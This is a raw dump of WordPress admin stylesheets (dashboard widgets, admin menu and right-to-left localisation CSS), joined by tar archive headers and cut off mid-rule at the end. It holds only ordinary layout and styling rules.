#network_dashboard_right_now p input { margin: 2px 1px; vertical-align: middle; } /* Dashboard right now - Colors */ #dashboard_right_now .sub { color: #50575e; background: #f6f7f7; border-top: 1px solid #f0f0f1; padding: 10px 12px 6px; } #dashboard_right_now .sub h3 { color: #50575e; } #dashboard_right_now .sub p { margin: 0 0 1em; } #dashboard_right_now .warning a:before, #dashboard_right_now .warning span:before { color: #d63638; } /* Dashboard Quick Draft */ #dashboard_quick_press .inside { margin: 0; padding: 0; } #dashboard_quick_press div.updated { margin-bottom: 10px; border: 1px solid #f0f0f1; border-width: 1px 1px 1px 0; } #dashboard_quick_press form { margin: 12px; } #dashboard_quick_press .drafts { padding: 10px 0 0; } /* Dashboard Quick Draft - Form styling */ #dashboard_quick_press label { display: inline-block; margin-bottom: 4px; } #dashboard_quick_press input, #dashboard_quick_press textarea { box-sizing: border-box; margin: 0; } #dashboard-widgets .postbox form .submit { margin: -39px 0; float: right; } #description-wrap { margin-top: 12px; } #quick-press textarea#content { min-height: 90px; max-height: 1300px; margin: 0 0 8px; padding: 8px 12px; resize: none; } /* Dashboard Quick Draft - Drafts list */ .js #dashboard_quick_press .drafts { border-top: 1px solid #f0f0f1; } #dashboard_quick_press .drafts abbr { border: none; } #dashboard_quick_press .drafts .view-all { float: right; margin: 0 12px 0 0; } #dashboard_primary a.rsswidget { font-weight: 400; } #dashboard_quick_press .drafts ul { margin: 0 12px; } #dashboard_quick_press .drafts li { margin-bottom: 1em; } #dashboard_quick_press .drafts li time { color: #646970; } #dashboard_quick_press .drafts p { margin: 0; word-wrap: break-word; } #dashboard_quick_press .draft-title { word-wrap: break-word; } #dashboard_quick_press .draft-title a, #dashboard_quick_press .draft-title time { margin: 0 5px 0 0; } /* Dashboard common styles */ #dashboard-widgets h4, /* Back-compat for pre-4.4 */ #dashboard-widgets h3, #dashboard_quick_press .drafts h2 { margin: 0 12px 8px; padding: 0; font-size: 14px; font-weight: 400; color: #1d2327; } #dashboard_quick_press .drafts h2 { line-height: inherit; } #dashboard-widgets .inside h4, /* Back-compat for pre-4.4 */ #dashboard-widgets .inside h3 { margin-left: 0; margin-right: 0; } /* Dashboard activity widget */ #dashboard_activity .comment-meta span.approve:before { content: "\f227"; content: "\f227" / ''; font: 20px/.5 dashicons; margin-left: 5px; vertical-align: middle; position: relative; top: -1px; margin-right: 2px; } #dashboard_activity .inside { margin: 0; padding: 0 12px; } #dashboard_activity .no-activity { overflow: hidden; padding: 12px 0; text-align: center; } #dashboard_activity .no-activity p { color: #646970; font-size: 16px; } #dashboard_activity .subsubsub { float: none; border-top: 1px solid #f0f0f1; margin: 0 -12px; padding: 8px 12px 4px; } #dashboard_activity .subsubsub a .count, #dashboard_activity .subsubsub a.current .count { color: #646970; /* white background on the dashboard but #f0f0f1 on list tables */ } #future-posts ul, #published-posts ul { margin: 8px -12px 0 -12px; } #future-posts li, #published-posts li { display: grid; grid-template-columns: clamp(160px, calc(2vw + 140px), 200px) auto; column-gap: 10px; color: #646970; padding: 4px 12px; } #future-posts li:nth-child(odd), #published-posts li:nth-child(odd) { background-color: #f6f7f7; } .activity-block { border-bottom: 1px solid #f0f0f1; margin: 0 -12px 6px -12px; padding: 8px 12px 4px; } .activity-block:last-child { border-bottom: none; margin-bottom: 0; } .activity-block .subsubsub li { color: #646970; } /* Dashboard activity widget - Comments */ /* @todo: needs serious de-duplication */ #activity-widget #the-comment-list tr.undo, #activity-widget #the-comment-list div.undo { background: none; padding: 6px 0; margin-left: 12px; } #activity-widget #the-comment-list .comment-item { background: #f6f7f7; padding: 12px; position: relative; } #activity-widget #the-comment-list .avatar { position: absolute; top: 12px; } #activity-widget #the-comment-list .dashboard-comment-wrap.has-avatar { padding-left: 63px; } #activity-widget #the-comment-list .dashboard-comment-wrap blockquote { margin: 1em 0; } #activity-widget #the-comment-list .comment-item p.row-actions { margin: 4px 0 0; } #activity-widget #the-comment-list .comment-item:first-child { border-top: 1px solid #f0f0f1; } #activity-widget #the-comment-list .unapproved { background-color: #fcf9e8; } #activity-widget #the-comment-list .unapproved:before { content: ""; display: block; position: absolute; left: 0; top: 0; bottom: 0; background: #d63638; width: 4px; } #activity-widget #the-comment-list .spam-undo-inside .avatar, #activity-widget #the-comment-list .trash-undo-inside .avatar { position: relative; top: 0; } /* Browse happy box */ #dashboard-widgets #dashboard_browser_nag.postbox .inside { margin: 10px; } .postbox .button-link .edit-box { display: none; } .edit-box { opacity: 0; } .hndle:hover .edit-box, .edit-box:focus { opacity: 1; } #dashboard-widgets form .input-text-wrap input { width: 100%; } #dashboard-widgets form .textarea-wrap textarea { width: 100%; } #dashboard-widgets .postbox form .submit { float: none; margin: .5em 0 0; padding: 0; border: none; } #dashboard-widgets-wrap #dashboard-widgets .postbox form .submit #publish { min-width: 0; } #dashboard-widgets li a, #dashboard-widgets .button-link, .community-events-footer a { text-decoration: none; } #dashboard-widgets h2 a { text-decoration: underline; } #dashboard-widgets .hndle .postbox-title-action { float: right; line-height: 1.2; } #dashboard_plugins h5 { font-size: 14px; } /* Recent Comments */ #latest-comments #the-comment-list { position: relative; margin: 0 -12px; } #activity-widget #the-comment-list .comment, #activity-widget #the-comment-list .pingback { box-shadow: inset 0 1px 0 rgba(0, 0, 0, 0.06); } #activity-widget .comments #the-comment-list .alt { background-color: transparent; } #activity-widget #latest-comments #the-comment-list .comment-item { /* the row-actions paragraph is output only for users with 'edit_comment' capabilities, for other users this needs a min height equal to the gravatar image */ min-height: 50px; margin: 0; padding: 12px; } #latest-comments #the-comment-list .pingback { padding-left: 12px !important; } #latest-comments #the-comment-list .comment-item:first-child { border-top: none; } #latest-comments #the-comment-list .comment-meta { line-height: 1.5; margin: 0; color: #646970; } #latest-comments #the-comment-list .comment-meta cite { font-style: normal; font-weight: 400; } #latest-comments #the-comment-list .comment-item blockquote, #latest-comments #the-comment-list .comment-item blockquote p { margin: 0; padding: 0; display: inline; } #latest-comments #the-comment-list .comment-item p.row-actions { margin: 3px 0 0; padding: 0; font-size: 13px; } /* Feeds */ .rss-widget ul { margin: 0; padding: 0; list-style: none; } a.rsswidget { font-size: 13px; font-weight: 600; line-height: 1.4; } .rss-widget ul li { line-height: 1.5; margin-bottom: 12px; } .rss-widget span.rss-date { color: #646970; font-size: 13px; margin-left: 3px; } .rss-widget cite { display: block; text-align: right; margin: 0 0 1em; padding: 0; } .rss-widget cite:before { content: "\2014"; content: "\2014" / ''; } .dashboard-comment-wrap { word-wrap: break-word; } /* Browser Nag */ #dashboard_browser_nag a.update-browser-link { font-size: 1.2em; font-weight: 600; } #dashboard_browser_nag a { text-decoration: underline; } #dashboard_browser_nag p.browser-update-nag.has-browser-icon { padding-right: 128px; } #dashboard_browser_nag .browser-icon { margin-top: -32px; } #dashboard_browser_nag.postbox { background-color: #b32d2e; background-image: none; border-color: #b32d2e; color: #fff; box-shadow: none; } #dashboard_browser_nag.postbox h2 { border-bottom-color: transparent; background: transparent none; color: #fff; box-shadow: none; } #dashboard_browser_nag a { color: #fff; } #dashboard_browser_nag.postbox .postbox-header { border-color: transparent; } #dashboard_browser_nag h2.hndle { border: none; font-weight: 600; font-size: 20px; padding-top: 10px; } .postbox#dashboard_browser_nag p a.dismiss { font-size: 14px; } .postbox#dashboard_browser_nag p, .postbox#dashboard_browser_nag a, .postbox#dashboard_browser_nag p.browser-update-nag { font-size: 16px; } /* PHP Nag */ #dashboard_php_nag .dashicons-warning { color: #dba617; padding-right: 6px; } #dashboard_php_nag.php-no-security-updates .dashicons-warning, #dashboard_php_nag.php-version-lower-than-future-minimum .dashicons-warning { color: #d63638; } #dashboard_php_nag h2 { display: inline-block; } #dashboard_php_nag p { margin: 12px 0; } .bigger-bolder-text { font-weight: 600; font-size: 14px; } /* =Media Queries -------------------------------------------------------------- */ @media only screen and (min-width: 1600px) { .welcome-panel .welcome-panel-column-container { display: flex; justify-content: center; } .welcome-panel-column { width: 100%; max-width: 460px; } } /* one column on the dash */ @media only screen and (max-width: 799px) { #wpbody-content #dashboard-widgets .postbox-container { width: 100%; } #dashboard-widgets .meta-box-sortables { min-height: 0; } .is-dragging-metaboxes #dashboard-widgets .meta-box-sortables { min-height: 100px; } #dashboard-widgets .meta-box-sortables.empty-container { margin-bottom: 0; } } /* two columns on the dash, but keep the setting if one is selected */ @media only screen and (min-width: 800px) and (max-width: 1499px) { #wpbody-content #dashboard-widgets .postbox-container { width: 49.5%; } #wpbody-content #dashboard-widgets #postbox-container-2, #wpbody-content #dashboard-widgets #postbox-container-3, #wpbody-content #dashboard-widgets #postbox-container-4 { float: right; width: 50.5%; } #dashboard-widgets #postbox-container-3 .empty-container, #dashboard-widgets #postbox-container-4 .empty-container { border: none; height: 0; min-height: 0; margin-bottom: 0; display: none; } #dashboard-widgets #postbox-container-3 .empty-container:after, #dashboard-widgets #postbox-container-4 .empty-container:after { display: none; } #wpbody #wpbody-content #dashboard-widgets.columns-1 .postbox-container { width: 100%; } #wpbody #dashboard-widgets .metabox-holder.columns-1 .postbox-container .empty-container { border: none; height: 0; min-height: 0; margin-bottom: 0; } /* show the radio buttons for column prefs only for one or two columns */ .index-php .screen-layout, .index-php .columns-prefs { display: block; } .columns-prefs .columns-prefs-3, .columns-prefs .columns-prefs-4 { display: none; } #dashboard-widgets .postbox-container .empty-container:after { display: block; } } /* three columns on the dash */ @media only screen and (min-width: 1500px) and (max-width: 1800px) { #wpbody-content #dashboard-widgets .postbox-container { width: 33.5%; } #wpbody-content #dashboard-widgets #postbox-container-1 { width: 33%; } #wpbody-content #dashboard-widgets #postbox-container-3, #wpbody-content #dashboard-widgets #postbox-container-4 { float: right; } #dashboard-widgets #postbox-container-4 .empty-container { border: none; height: 0; min-height: 0; margin-bottom: 0; display: none; } #dashboard-widgets #postbox-container-4 .empty-container:after { display: none; } #dashboard-widgets .postbox-container .empty-container:after { display: block; } } /* Always show the "Drag boxes here" CSS generated content on large screens. */ @media only screen and (min-width: 1801px) { #dashboard-widgets .postbox-container .empty-container:after { display: block; } } @media screen and (max-width: 870px) { /* @deprecated 5.9.0 -- Lists removed from welcome panel. */ .welcome-panel .welcome-panel-column li { display: inline-block; margin-right: 13px; } /* @deprecated 5.9.0 -- Lists removed from welcome panel. */ .welcome-panel .welcome-panel-column ul { margin: 0.4em 0 0; } } @media screen and (max-width: 1180px) and (min-width: 783px) { .welcome-panel-column { grid-template-columns: 1fr; } [class*="welcome-panel-icon"], .welcome-panel-column > svg { display: none; } } @media screen and (max-width: 782px) { .welcome-panel .welcome-panel-column-container { grid-template-columns: 1fr; box-sizing: border-box; padding: 32px; width: 100%; } .welcome-panel .welcome-panel-column-content { max-width: 520px; } /* Keep the close icon from overlapping the Welcome text. */ .welcome-panel .welcome-panel-close { overflow: hidden; text-indent: 40px; white-space: nowrap; width: 20px; height: 20px; padding: 5px; top: 5px; right: 5px; } .welcome-panel .welcome-panel-close::before { position: absolute; top: 5px; left: -35px; } #dashboard-widgets h2 { padding: 12px; } #dashboard_recent_comments #the-comment-list .comment-item .avatar { height: 30px; width: 30px; margin: 4px 10px 5px 0; } .community-events-toggle-location { height: 38px; vertical-align: baseline; } #community-events-submit { margin-bottom: 0; } .community-events-form label, #dashboard-widgets .community-events-cancel.button-link { /* Same properties as the submit button for cross-browsers alignment. */ font-size: 14px; line-height: normal; padding: 6px 0; border: 1px solid transparent; } } /* Smartphone */ @media screen and (max-width: 600px) { .welcome-panel-header { padding: 32px 32px 64px; } .welcome-panel-header-image { display: none; } } @media screen and (max-width: 480px) { .welcome-panel-column { gap: 16px; } } @media screen and (max-width: 360px) { .welcome-panel-column { grid-template-columns: 1fr; } [class*="welcome-panel-icon"], .welcome-panel-column > svg { display: none; } } @media screen and (min-width: 355px) { .community-events .event-info { display: table-row; float: left; max-width: 59%; } .event-icon, .event-icon[aria-hidden="true"] { display: table-cell; } .event-info-inner { display: table-cell; } .community-events .event-date-time { float: right; max-width: 39%; } .community-events .event-date, .community-events .event-time { text-align: right; } } css/admin-menu.min.css 0000644 00000035457 15233246127 0010705 0 ustar 00 /*! This file is auto-generated */ #adminmenu,#adminmenu .wp-submenu,#adminmenuback,#adminmenuwrap{width:160px;background-color:#1d2327}#adminmenuback{position:fixed;top:0;bottom:-120px;z-index:1;outline:1px solid transparent}.php-error #adminmenuback{position:absolute}.php-error #adminmenuback,.php-error #adminmenuwrap{margin-top:2em}#adminmenu{clear:left;margin:12px 0;padding:0;list-style:none}.folded #adminmenu,.folded #adminmenu li.menu-top,.folded #adminmenuback,.folded #adminmenuwrap{width:36px}.menu-icon-appearance div.wp-menu-image,.menu-icon-comments div.wp-menu-image,.menu-icon-dashboard div.wp-menu-image,.menu-icon-generic div.wp-menu-image,.menu-icon-links div.wp-menu-image,.menu-icon-media div.wp-menu-image,.menu-icon-page div.wp-menu-image,.menu-icon-plugins div.wp-menu-image,.menu-icon-post div.wp-menu-image,.menu-icon-settings div.wp-menu-image,.menu-icon-site div.wp-menu-image,.menu-icon-tools div.wp-menu-image,.menu-icon-users div.wp-menu-image{background-image:none!important}#adminmenuwrap{position:relative;float:left;z-index:9990}#adminmenu *{-webkit-user-select:none;user-select:none}#adminmenu li{margin:0;padding:0}#adminmenu a{display:block;line-height:1.3;padding:2px 5px;color:#f0f0f1}#adminmenu .wp-submenu a{color:#c3c4c7;color:rgba(240,246,252,.7);font-size:13px;line-height:1.4;margin:0;padding:5px 0}#adminmenu .wp-submenu a:focus,#adminmenu .wp-submenu a:hover{background:0 0}#adminmenu .wp-submenu a:focus,#adminmenu .wp-submenu a:hover,#adminmenu a:hover,#adminmenu li.menu-top>a:focus{color:#72aee6}#adminmenu a:focus,#adminmenu a:hover,.folded #adminmenu .wp-submenu-head:hover{box-shadow:inset 4px 0 0 0 currentColor;transition:box-shadow .1s linear;border-radius:0}#adminmenu li.menu-top{border:none;min-height:34px;position:relative}#adminmenu .wp-submenu{list-style:none;position:absolute;top:-1000em;left:160px;overflow:visible;word-wrap:break-word;padding:6px 0;z-index:9999;background-color:#2c3338;box-shadow:0 3px 5px rgba(0,0,0,.2)}#adminmenu a.menu-top:focus+.wp-submenu,.js #adminmenu .opensub .wp-submenu,.js #adminmenu .sub-open,.no-js li.wp-has-submenu:hover .wp-submenu{top:-1px}#adminmenu a.wp-has-current-submenu:focus+.wp-submenu{top:0}#adminmenu .wp-has-current-submenu .wp-submenu,#adminmenu .wp-has-current-submenu .wp-submenu.sub-open,#adminmenu .wp-has-current-submenu.opensub .wp-submenu,.no-js li.wp-has-current-submenu:hover .wp-submenu{position:relative;z-index:3;top:auto;left:auto;right:auto;bottom:auto;border:0 none;margin-top:0;box-shadow:none}.folded #adminmenu .wp-has-current-submenu .wp-submenu{box-shadow:0 3px 5px rgba(0,0,0,.2)}#adminmenu li.menu-top:hover,#adminmenu li.opensub>a.menu-top,#adminmenu li>a.menu-top:focus{position:relative;background-color:#1d2327;color:#72aee6}.folded #adminmenu li.menu-top:hover,.folded #adminmenu li.opensub>a.menu-top,.folded #adminmenu li>a.menu-top:focus{z-index:10000}#adminmenu .wp-has-current-submenu .wp-submenu .wp-submenu-head,#adminmenu li.current a.menu-top,#adminmenu li.wp-has-current-submenu a.wp-has-current-submenu{background:#2271b1;color:#fff}.folded #adminmenu .opensub .wp-submenu,.folded #adminmenu .wp-has-current-submenu .wp-submenu.sub-open,.folded #adminmenu .wp-has-current-submenu a.menu-top:focus+.wp-submenu,.folded #adminmenu .wp-has-current-submenu.opensub .wp-submenu,.folded #adminmenu .wp-submenu.sub-open,.folded #adminmenu a.menu-top:focus+.wp-submenu,.no-js.folded #adminmenu .wp-has-submenu:hover .wp-submenu{top:0;left:36px}.folded #adminmenu .wp-has-current-submenu .wp-submenu,.folded #adminmenu a.wp-has-current-submenu:focus+.wp-submenu{position:absolute;top:-1000em}#adminmenu .wp-not-current-submenu .wp-submenu,.folded #adminmenu .wp-has-current-submenu .wp-submenu{min-width:160px;width:auto;border:1px solid transparent;border-left-width:5px}#adminmenu .opensub .wp-submenu li.current a,#adminmenu .wp-submenu li.current,#adminmenu .wp-submenu li.current a,#adminmenu .wp-submenu li.current a:focus,#adminmenu .wp-submenu li.current a:hover,#adminmenu a.wp-has-current-submenu:focus+.wp-submenu li.current a{color:#fff}#adminmenu .wp-not-current-submenu li>a,.folded #adminmenu .wp-has-current-submenu li>a{padding-right:16px;padding-left:14px;transition:all .1s ease-in-out,outline 0s}#adminmenu .wp-has-current-submenu ul>li>a,.folded #adminmenu li.menu-top .wp-submenu>li>a{padding:5px 12px}#adminmenu .wp-submenu-head,#adminmenu a.menu-top{font-size:14px;font-weight:400;line-height:1.3;padding:0}#adminmenu .wp-submenu-head{display:none}.folded #adminmenu .wp-menu-name{position:absolute;left:-999px}.folded #adminmenu .wp-submenu-head{display:block}#adminmenu .wp-submenu li{padding:0;margin:0}#adminmenu .wp-menu-image img{padding:9px 0 0;opacity:.6}#adminmenu div.wp-menu-name{padding:8px 8px 8px 36px;overflow-wrap:break-word;word-wrap:break-word;-ms-word-break:break-all;word-break:break-word;hyphens:auto}#adminmenu div.wp-menu-image{float:left;width:36px;height:34px;margin:0;text-align:center}#adminmenu div.wp-menu-image.svg{background-repeat:no-repeat;background-position:center;background-size:20px auto}div.wp-menu-image:before{color:#a7aaad;color:rgba(240,246,252,.6);padding:7px 0;transition:all .1s ease-in-out}#adminmenu div.wp-menu-image:before{color:#a7aaad;color:rgba(240,246,252,.6)}#adminmenu .current div.wp-menu-image:before,#adminmenu .wp-has-current-submenu div.wp-menu-image:before,#adminmenu a.current:hover div.wp-menu-image:before,#adminmenu a.wp-has-current-submenu:hover div.wp-menu-image:before,#adminmenu li.wp-has-current-submenu a:focus div.wp-menu-image:before,#adminmenu li.wp-has-current-submenu.opensub div.wp-menu-image:before,#adminmenu li.wp-has-current-submenu:hover div.wp-menu-image:before{color:#fff}#adminmenu li a:focus div.wp-menu-image:before,#adminmenu li.opensub div.wp-menu-image:before,#adminmenu li:hover div.wp-menu-image:before{color:#72aee6}.folded #adminmenu div.wp-menu-image{width:35px;height:30px;position:absolute;z-index:25}.folded #adminmenu a.menu-top{height:34px}.sticky-menu #adminmenuwrap{position:fixed}ul#adminmenu a.wp-has-current-submenu{position:relative}ul#adminmenu a.wp-has-current-submenu:after,ul#adminmenu>li.current>a.current:after{right:0;border:solid 8px transparent;content:" ";height:0;width:0;position:absolute;pointer-events:none;border-right-color:#f0f0f1;top:50%;margin-top:-8px}.folded ul#adminmenu li.wp-has-current-submenu:focus-within a.wp-has-current-submenu:after,.folded ul#adminmenu li:hover a.wp-has-current-submenu:after{display:none}.folded ul#adminmenu a.wp-has-current-submenu:after,.folded ul#adminmenu>li a.current:after{border-width:4px;margin-top:-4px}#adminmenu li.wp-has-submenu.wp-not-current-submenu:focus-within:after,#adminmenu li.wp-has-submenu.wp-not-current-submenu:hover:after{right:0;border:8px solid transparent;content:" ";height:0;width:0;position:absolute;pointer-events:none;top:10px;z-index:10000}.folded ul#adminmenu li.wp-has-submenu.wp-not-current-submenu:focus-within:after,.folded ul#adminmenu li.wp-has-submenu.wp-not-current-submenu:hover:after{border-width:4px;margin-top:-4px;top:18px}#adminmenu li.wp-has-submenu.wp-not-current-submenu.opensub:hover:after,#adminmenu li.wp-has-submenu.wp-not-current-submenu:focus-within:after{border-right-color:#2c3338}#adminmenu li.menu-top:hover .wp-menu-image img,#adminmenu li.wp-has-current-submenu .wp-menu-image img{opacity:1}#adminmenu li.wp-menu-separator{height:5px;padding:0;margin:0 0 6px;cursor:inherit}#adminmenu div.separator{height:2px;padding:0}#adminmenu .wp-submenu .wp-submenu-head{color:#fff;font-weight:400;font-size:14px;padding:5px 4px 5px 11px;margin:-8px -1px 4px -5px;border-width:3px 1px 3px 5px;border-style:solid;border-color:transparent}#adminmenu li.current,.folded #adminmenu li.wp-menu-open{border:0 none}#adminmenu .awaiting-mod,#adminmenu .menu-counter,#adminmenu .update-plugins{display:inline-block;vertical-align:top;box-sizing:border-box;margin:1px 0 -1px 2px;padding:0 5px;min-width:18px;height:18px;border-radius:9px;background-color:#d63638;color:#fff;font-size:11px;line-height:1.6;text-align:center;z-index:26}#adminmenu li a.wp-has-current-submenu .update-plugins,#adminmenu li.current a .awaiting-mod{background-color:#d63638;color:#fff}#adminmenu li span.count-0{display:none}#collapse-button{display:block;width:100%;height:34px;margin:0;border:none;padding:0;position:relative;overflow:visible;background:0 0;color:#a7aaad;cursor:pointer}#collapse-button:hover{color:#72aee6}#collapse-button:focus{color:#72aee6;outline:1px solid transparent;outline-offset:-1px}#collapse-button .collapse-button-icon,#collapse-button .collapse-button-label{display:block;position:absolute;top:0;left:0}#collapse-button .collapse-button-label{top:8px}#collapse-button .collapse-button-icon{width:36px;height:34px}#collapse-button .collapse-button-label{padding:0 0 0 36px}.folded #collapse-button .collapse-button-label{display:none}#collapse-button .collapse-button-icon:after{content:"\f148";content:"\f148"/'';display:block;position:relative;top:7px;text-align:center;font:normal 20px/1 dashicons!important;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale}.folded #collapse-button .collapse-button-icon:after,.rtl #collapse-button .collapse-button-icon:after{transform:rotate(180deg)}.rtl.folded #collapse-button .collapse-button-icon:after{transform:none}#collapse-button .collapse-button-icon:after,#collapse-button .collapse-button-label{transition:all .1s ease-in-out}li#wp-admin-bar-menu-toggle{display:none}.customize-support #menu-appearance a[href="themes.php?page=custom-background"],.customize-support #menu-appearance a[href="themes.php?page=custom-header"]{display:none}@media only screen and (max-width:960px){.auto-fold #wpcontent,.auto-fold #wpfooter{margin-left:36px}.auto-fold #adminmenu,.auto-fold #adminmenu li.menu-top,.auto-fold #adminmenuback,.auto-fold #adminmenuwrap{width:36px}.auto-fold #adminmenu .opensub .wp-submenu,.auto-fold #adminmenu .wp-has-current-submenu .wp-submenu.sub-open,.auto-fold #adminmenu .wp-has-current-submenu a.menu-top:focus+.wp-submenu,.auto-fold #adminmenu .wp-has-current-submenu.opensub .wp-submenu,.auto-fold #adminmenu .wp-submenu.sub-open,.auto-fold #adminmenu a.menu-top:focus+.wp-submenu{top:0;left:36px}.auto-fold #adminmenu .wp-has-current-submenu .wp-submenu,.auto-fold #adminmenu a.wp-has-current-submenu:focus+.wp-submenu{position:absolute;top:-1000em;margin-right:-1px;padding:6px 0;z-index:9999}.auto-fold #adminmenu .wp-has-current-submenu .wp-submenu{min-width:160px;width:auto;border:1px solid transparent;border-left-width:5px}.auto-fold #adminmenu .wp-has-current-submenu li>a{padding-right:16px;padding-left:14px}.auto-fold #adminmenu li.menu-top .wp-submenu>li>a{padding-left:12px}.auto-fold #adminmenu .wp-menu-name{position:absolute;left:-999px}.auto-fold #adminmenu .wp-submenu-head{display:block}.auto-fold #adminmenu div.wp-menu-image{height:30px;width:34px;position:absolute;z-index:25}.auto-fold #adminmenu a.menu-top{min-height:34px}.auto-fold #adminmenu li.wp-menu-open{border:0 none}.auto-fold #adminmenu .wp-has-current-submenu.menu-top-last{margin-bottom:0}.auto-fold ul#adminmenu li:focus-within a.wp-has-current-submenu:after,.auto-fold ul#adminmenu li:hover a.wp-has-current-submenu:after{display:none}.auto-fold ul#adminmenu li.wp-has-submenu.wp-not-current-submenu:focus-within:after,.auto-fold ul#adminmenu li.wp-has-submenu.wp-not-current-submenu:hover:after{border-width:4px;margin-top:-4px;top:16px}.auto-fold ul#adminmenu a.wp-has-current-submenu:after,.auto-fold ul#adminmenu>li a.current:after{border-width:4px;margin-top:-4px}.auto-fold #adminmenu li.menu-top:hover,.auto-fold #adminmenu li.opensub>a.menu-top,.auto-fold #adminmenu li>a.menu-top:focus{z-index:10000}.auto-fold #collapse-menu .collapse-button-label{display:none}.auto-fold #collapse-button .collapse-button-icon:after{transform:rotate(180deg)}.rtl.auto-fold #collapse-button .collapse-button-icon:after{transform:none}}@media screen and (max-width:782px){.auto-fold #wpcontent{position:relative;margin-left:0;padding-left:10px}.sticky-menu #adminmenuwrap{position:relative;z-index:auto;top:0}.auto-fold #adminmenu,.auto-fold #adminmenuback,.auto-fold #adminmenuwrap{position:absolute;width:190px;z-index:100}.auto-fold #adminmenuback{position:fixed}.auto-fold #adminmenuback,.auto-fold #adminmenuwrap{display:none}.auto-fold .wp-responsive-open #adminmenuback,.auto-fold .wp-responsive-open #adminmenuwrap{display:block}.auto-fold #adminmenu li.menu-top{width:100%}.auto-fold #adminmenu li a{font-size:16px;padding:5px}.auto-fold #adminmenu li.menu-top .wp-submenu>li>a{padding:10px 10px 10px 20px}.auto-fold #adminmenu .wp-menu-name{position:static}.auto-fold ul#adminmenu a.wp-has-current-submenu:after,.auto-fold ul#adminmenu>li.current>a.current:after{border-width:8px;margin-top:-8px}.auto-fold ul#adminmenu li.wp-has-submenu.wp-not-current-submenu:focus-within:after,.auto-fold ul#adminmenu li.wp-has-submenu.wp-not-current-submenu:hover:after{display:none}#adminmenu .wp-submenu{position:relative;display:none}.auto-fold #adminmenu .selected .wp-submenu,.auto-fold #adminmenu .wp-menu-open .wp-submenu{position:relative;display:block;top:0;left:-1px;box-shadow:none}.auto-fold #adminmenu .selected .wp-submenu:after,.auto-fold #adminmenu .wp-menu-open .wp-submenu:after{display:none}.auto-fold #adminmenu .opensub .wp-submenu{display:none}.auto-fold #adminmenu .selected .wp-submenu{display:block}.auto-fold ul#adminmenu li:focus-within a.wp-has-current-submenu:after,.auto-fold ul#adminmenu li:hover a.wp-has-current-submenu:after{display:block}.auto-fold #adminmenu .wp-has-current-submenu a.menu-top:focus+.wp-submenu,.auto-fold #adminmenu a.menu-top:focus+.wp-submenu{position:relative;left:-1px;right:0;top:0}#adminmenu .wp-not-current-submenu .wp-submenu,.auto-fold #adminmenu .wp-has-current-submenu .wp-submenu,.folded #adminmenu .wp-has-current-submenu .wp-submenu{border:none}#adminmenu .wp-submenu .wp-submenu-head{display:none}#wp-responsive-toggle{position:fixed;top:5px;left:4px;padding-right:10px;z-index:99999;border:none;box-sizing:border-box}#wpadminbar #wp-admin-bar-menu-toggle a{display:block;padding:0;overflow:hidden;outline:0;text-decoration:none;border:1px solid transparent;background:0 0;height:44px;margin-left:-1px}.wp-responsive-open #wpadminbar #wp-admin-bar-menu-toggle a{background:#2c3338}li#wp-admin-bar-menu-toggle{display:block}#wpadminbar #wp-admin-bar-menu-toggle a:hover{border:1px solid transparent}#wpadminbar #wp-admin-bar-menu-toggle .ab-icon:before{content:"\f228";display:inline-block;float:left;font:normal 40px/45px dashicons;vertical-align:middle;outline:0;margin:0;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale;height:44px;width:50px;padding:0;border:none;text-align:center;text-decoration:none;box-sizing:border-box}.wp-responsive-open #wpadminbar #wp-admin-bar-menu-toggle .ab-icon:before{color:#72aee6}}@media screen and (max-width:600px){#adminmenuback,#adminmenuwrap{display:none}.wp-responsive-open #adminmenuback,.wp-responsive-open #adminmenuwrap{display:block}.auto-fold #adminmenu{top:46px}} css/l10n-rtl.css 0000644 00000010743 15233246127 0007431 0 ustar 00 /*! This file is auto-generated */ /*------------------------------------------------------------------------------ 27.0 - Localization ------------------------------------------------------------------------------*/ /* RTL except Hebrew (see below): Tahoma as the first font; */ body.rtl, body.rtl .press-this a.wp-switch-editor { font-family: Tahoma, Arial, sans-serif; } /* Arial is best for RTL headings. */ .rtl h1, .rtl h2, .rtl h3, .rtl h4, .rtl h5, .rtl h6 { font-family: Arial, sans-serif; font-weight: 600; } /* he_IL: Remove Tahoma from the font stack. Arial is best for Hebrew. */ body.locale-he-il, body.locale-he-il .press-this a.wp-switch-editor { font-family: Arial, sans-serif; } /* he_IL: Have <em> be bold rather than italic. */ .locale-he-il em { font-style: normal; font-weight: 600; } /* zh_CN: Remove italic properties. */ .locale-zh-cn .howto, .locale-zh-cn .tablenav .displaying-num, .locale-zh-cn .js .input-with-default-title, .locale-zh-cn .link-to-original, .locale-zh-cn .inline-edit-row fieldset span.title, .locale-zh-cn .inline-edit-row fieldset span.checkbox-title, .locale-zh-cn #utc-time, .locale-zh-cn #local-time, .locale-zh-cn p.install-help, .locale-zh-cn p.help, .locale-zh-cn p.description, .locale-zh-cn span.description, .locale-zh-cn .form-wrap p { font-style: normal; } /* zh_CN: Enlarge dashboard widget 'Configure' link */ .locale-zh-cn .hdnle a { font-size: 12px; } /* zn_CH: Enlarge font size, set font-size: normal */ .locale-zh-cn form.upgrade .hint { font-style: normal; font-size: 100%; } /* zh_CN: Enlarge font-size. */ .locale-zh-cn #sort-buttons { font-size: 1em !important; } /* de_DE: Text needs more space for translation */ .locale-de-de #customize-header-actions .button, .locale-de-de-formal #customize-header-actions .button { padding: 0 5px 1px; /* default 0 10px 1px */ } .locale-de-de #customize-header-actions .spinner, .locale-de-de-formal #customize-header-actions .spinner { margin: 16px 3px 0; /* default 16px 4px 0 5px */ } body[class*="locale-de-"] .inline-edit-row fieldset label span.title, body[class*="locale-de-"] .inline-edit-row fieldset.inline-edit-date legend { width: 7em; /* default 6em */ } body[class*="locale-de-"] .inline-edit-row fieldset label span.input-text-wrap, body[class*="locale-de-"] .inline-edit-row fieldset .timestamp-wrap { margin-right: 7em; /* default 6em */ } /* ru_RU: Text needs more room to breathe. */ .locale-ru-ru #adminmenu { width: inherit; /* back-compat for pre-3.2 */ } .locale-ru-ru #adminmenu, .locale-ru-ru #wpbody { margin-right: 0; /* back-compat for pre-3.2 */ } .locale-ru-ru .inline-edit-row fieldset label span.title, .locale-ru-ru .inline-edit-row fieldset.inline-edit-date legend { width: 8em; /* default 6em */ } .locale-ru-ru .inline-edit-row fieldset label span.input-text-wrap, .locale-ru-ru .inline-edit-row fieldset .timestamp-wrap { margin-right: 8em; /* default 6em */ } .locale-ru-ru.post-php .tagsdiv .newtag, .locale-ru-ru.post-new-php .tagsdiv .newtag { width: 